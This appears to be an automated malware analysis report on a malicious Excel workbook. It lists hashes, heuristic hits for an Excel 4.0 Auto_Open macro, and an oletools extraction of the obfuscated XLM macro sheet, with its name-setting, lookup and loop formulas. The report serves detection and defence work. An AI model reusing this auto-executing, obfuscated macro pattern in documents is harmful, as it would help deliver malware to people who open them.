Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7357b86f90a3ba2b…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:44:47 Authoring application: Microsoft Excel First seen: 2022-06-20
MD5: fcf0ab45662fe0e896eacb9e0271bf67 SHA-1: ad15b90101c2dc82f05b78a37febb72b97bcdfef SHA-256: 7357b86f90a3ba2b2944cf0164b7f46239f19bb380373df478d8bb273283e671
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6605 bytes
SHA-256: af7b73721bbf08dbfeb8cb2afa62fcb78bb5f1cbf6a6c69c5e78656a66dca098
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  aDZaD
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G146 
' 0018     20 LABEL : Cell Value, String Constant - dzzAz len=0 
' 0018     25 LABEL : Cell Value, String Constant - eGXLbrHELP len=0 
' 0018     23 LABEL : Cell Value, String Constant - geIpQoxF len=0 
' 0018     23 LABEL : Cell Value, String Constant - gXfPLGsV len=0 
' 0018     23 LABEL : Cell Value, String Constant - hqdxycqp len=0 
' 0018     26 LABEL : Cell Value, String Constant - IEtPyipoPTr len=0 
' 0018     22 LABEL : Cell Value, String Constant - IiRCudx len=0 
' 0018     23 LABEL : Cell Value, String Constant - iMzcNUSn len=0 
' 0018     27 LABEL : Cell Value, String Constant - JlFzOkShLCNu len=0 
' 0018     22 LABEL : Cell Value, String Constant - jRnuUFo len=0 
' 0018     21 LABEL : Cell Value, String Constant - LZMoSP len=0 
' 0018     21 LABEL : Cell Value, String Constant - nzxUhN len=0 
' 0018     22 LABEL : Cell Value, String Constant - pNhaUTy len=0 
' 0018     24 LABEL : Cell Value, String Constant - SptVVWkoP len=0 
' 0018     25 LABEL : Cell Value, String Constant - sYCqfQISso len=0 
' 0018     20 LABEL : Cell Value, String Constant - TcPTY len=0 
' 0018     24 LABEL : Cell Value, String Constant - tFWzTJEcR len=0 
' 0018     24 LABEL : Cell Value, String Constant - WfVYGYedJ len=0 
' 0018     20 LABEL : Cell Value, String Constant - wVBKh len=0 
' 0018     25 LABEL : Cell Value, String Constant - zVwpZMRtSd len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  aDZaD,G64,"SET.NAME("geIpQoxF",0+VALUE("0"))",""
'  aDZaD,R66,"",450.00000000000000000000
'  aDZaD,R67,"",465.00000000000000000000
'  aDZaD,G68,"SET.NAME("SptVVWkoP",geIpQoxF)",""
'  aDZaD,R68,"",-583.00000000000000000000
'  aDZaD,R69,"",-39.00000000000000000000
'  aDZaD,G70,"SET.NAME("hqdxycqp",geIpQoxF)",""
'  aDZaD,R70,"",768.00000000000000000000
'  aDZaD,R71,"",-850.00000000000000000000
'  aDZaD,G74,"SET.NAME("iMzcNUSn",COUNTA(zVwpZMRtSd))",""
'  aDZaD,G77,"SET.NAME("pNhaUTy",COUNTA(LZMoSP))",""
'  aDZaD,G79,[],""
'  aDZaD,G84,"SET.NAME("wVBKh","")",""
'  aDZaD,G88,"SptVVWkoP",""
'  aDZaD,G91,"SET.NAME("gXfPLGsV",HLOOKUP("*",zVwpZMRtSd,SptVVWkoP,FALSE))",""
'  aDZaD,G93,"jRnuUFo",""
'  aDZaD,G95,"SET.NAME("tFWzTJEcR",geIpQoxF)",""
'  aDZaD,G100,[],""
'  aDZaD,G102,"tFWzTJEcR",""
'  aDZaD,G105,"nzxUhN",""
'  aDZaD,G109,"TcPTY",""
'  aDZaD,G113,"WfVYGYedJ",""
'  aDZaD,G117,"SET.NAME("IEtPyipoPTr",VALUE(HLOOKUP("*",LZMoSP,WfVYGYedJ,FALSE)))",""
'  aDZaD,G120,"dzzAz",""
'  aDZaD,G122,"wVBKh",""
'  aDZaD,G124,"hqdxycqp",""
'  aDZaD,G127,NEXT(),""
'  aDZaD,G131,"JlFzOkShLCNu",""
'  aDZaD,G133,[],""
'  aDZaD,G136,"eGXLbrHELP",""
'  aDZaD,G140,NEXT(),""
'  aDZaD,G142,RETURN(),""
'  aDZaD,G166,"SET.NAME("sYCqfQISso",G64)",""
'  aDZaD,G169,"zVwpZMRtSd",""
'  aDZaD,G174,"SET.NAME("LZMoSP",R93C12)",""
'  aDZaD,G177,"SET.NAME("eGXLbrHELP",184)",""
'  aDZaD,G181,"SET.NAME("IiRCudx",7)",""
'  aDZaD,G183,sYCqfQISso(),""
'  aDZaD,G184,HALT(),""

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